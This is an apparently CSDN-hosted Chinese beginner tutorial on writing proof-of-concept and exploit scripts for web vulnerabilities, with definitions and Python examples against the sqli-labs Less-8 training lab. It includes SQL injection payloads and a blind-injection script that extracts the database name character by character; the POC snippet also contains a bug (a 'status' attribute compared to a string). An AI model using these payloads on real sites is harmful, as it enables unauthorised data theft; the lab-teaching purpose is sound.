如何编写POC/EXP


前言

初学安全时,很多概念理解不透彻,被POC/EXP的概念困扰了许久。最近看到许多招聘上都需要熟练编写POC/编写特殊场景的工具脚本等要求,下决心要理解并学会如何写POC。(这里是Web应用类漏洞的POC)
看了点教程和了几篇文章,总结一下。


一、漏洞验证方式

要判断一个漏洞是否存在,必须要有一些信息凭据。我们可以通过在目标系统执行一段代码(payload),根据目标系统的响应情况来作出判断。

  1. 执行payload,有回显。→ 发送数据包,看返回特征
  2. 执行payload,无回显
    • 对接dns.log,ping dns.log 进行判断
    • 反弹shell

二、POC是什么?

POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。

EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的动作。

Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。

Shellcode:简单翻译 ’ shell代码 ',是Payload的一种,由于其建立正向/反向shell而得名

上面的引用源于CSDN的一篇文章,这种解释百度以下几乎都是一样,现在看来感觉“就是这样啊”,初学的时候由于知识面不够广,越想越多,很容易钻牛角尖。
假如现在有一个GET型SQL注入漏洞,你的第一反应就是在URL的参数加个单引号,并不断的尝试,判断是何种注入类型,然后按部就班地进行暴库、爆表等一些列操作。或者通过BurpSuite抓包改包,利用Intruder模块进行自动化爆破等。
POC就是根据漏洞原理,将人工渗透测试的过程通过编程语言封装成一个工具代码,从而自动化检测漏洞。举个例子,你正在打sqli-labs的第8关,可能就是在浏览器里利用hackbar不断的修改参数,或者使用burpsuite抓包改包。现在我们要通过编写程序,来实现手工的一系列过程。验证这个漏洞确实存在,这个程序或者这段代码就叫POC,如果这段代码利用了这个漏洞进行了一些操作(通常是有害的),那么就叫EXP
比较典型的是RCE(远程命令/代码执行)漏洞,通常POC都是会执行一个计算器程序命令,以证明漏洞存在;如果是EXP,那么可能就是会执行一些敏感动作,以获得更多信息等

三、POC框架

PoC 框架就是一个批量管理,调度 PoC 的程序。因为是框架,要批量调度,那就要求 PoC 在编写的时候要遵守一些规范,这些规范常见的有:
入口规范
考虑到批量使用 PoC 的调度情况,统一入口框架调用该 PoC 的时候会非常之方便。这个就需要根据具体的框架的调度要求来看了,都有文档的,看一下就会了。
API规范
API 是该框架对一些基础类库的封装,比如说框架提供了一些网络请求工具。这些封装有什么好处呢?我还是举例子来说明,比如某次扫描,调用了 1000 个 PoC 去扫描目标主机了,假设这个扫描任务中有一部分是需要登录的,而有一些的作者在编写的时候忘记在 PoC 中接收用户自定义的 Cookie 了,那么此时就会因为接收不到 Cookie 而导致请求不成功。那么在使用了框架的情况下,即使在忘记了添加这些字段的情况下,框架也会自动将 Cookie 添加进请求中,为 PoC 开发者提供了极大的便利。

链接:https://www.jianshu.com/p/5decaf1cde6b
这里有一篇文章写的挺不错,可以帮助理解:自己写一个POC框架
自己写一个poc框架(真):真·自己简单实现poc框架

比较常用的POC框架

  • pocsuite3
  • xray
  • goby
    现在这些工具往往都是一个综合漏洞验证/扫描工具,POC只是一个模块

四、简单的POC/EXP编写

可以看一下者篇文章:https://mp.weixin.qq.com/s/aWbPUANyglL5kWiiFfSRYw

1、POC编写流程

来自上文

2、以sqli-labs第8关为例-POC

既然要通过代码来实现人工过程,实验漏洞测试的自动化,那么就要编程构造数据包,写payload,验证返回内容。就是我们修改参数、点击发送并通过回显的情形来作出判断的过程。
通过python实现的HTTP协议模块requests,可以很方便的构造HTTP数据包

import requests

# 这个并不是通用型的poc,所以我们可以写成一个很辣鸡的形式
import requests
url = "http://192.168.10.136/sqli-labs/Less-8/"
payload1 = "?id=1' and 1=1 --+"
payload2 = "?id=1' and 1=2 --+"

resp1 = requests.get(url=url+payload1)
if resp1.status == '200':
	resp2 = requests.get(url=url+payload2)
	if resp2.status != '200':
			print("[*] {}vuln found".format(url))

3、以sqli-labs第8关为例-EXP

通过代码,将人工爆库爆表的过程自动化

import requests
import string

url = "http://192.168.10.136/sqli-labs/Less-8/"
#获取正常访问时返回的页面长度
normalHtmlLen = len(requests.get(url=url+"?id=1").text)   #
print("页面长度为:"+ str(normalHtmlLen))

#数据库名长度
dbNameLen = 0
#通过这个循环爆库名长度
while True:
    dbNameLen_url = url + "?id=1'+and+length(database())="+str(dbNameLen)+"--+"
    print(dbNameLen_url)
    if len(requests.get(dbNameLen_url).text) == normalHtmlLen:
        print(dbNameLen)
        break
    if dbNameLen == 30:
        print("Error!")
        break
    dbNameLen +=1
#数据库名
dbName = ""
#通过这个循环爆库名
for i in range(1,9):
    for a in string.ascii_lowercase:
        dbName_url = url + "?id=1'+and+substr(database(),"+str(i)+",1)='"+a+"'--+"
        print(dbName_url)
        if len(requests.get(dbName_url).text) == normalHtmlLen:
            dbName += a
            print(dbName)
            break
  • 4
    点赞
  • 60
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值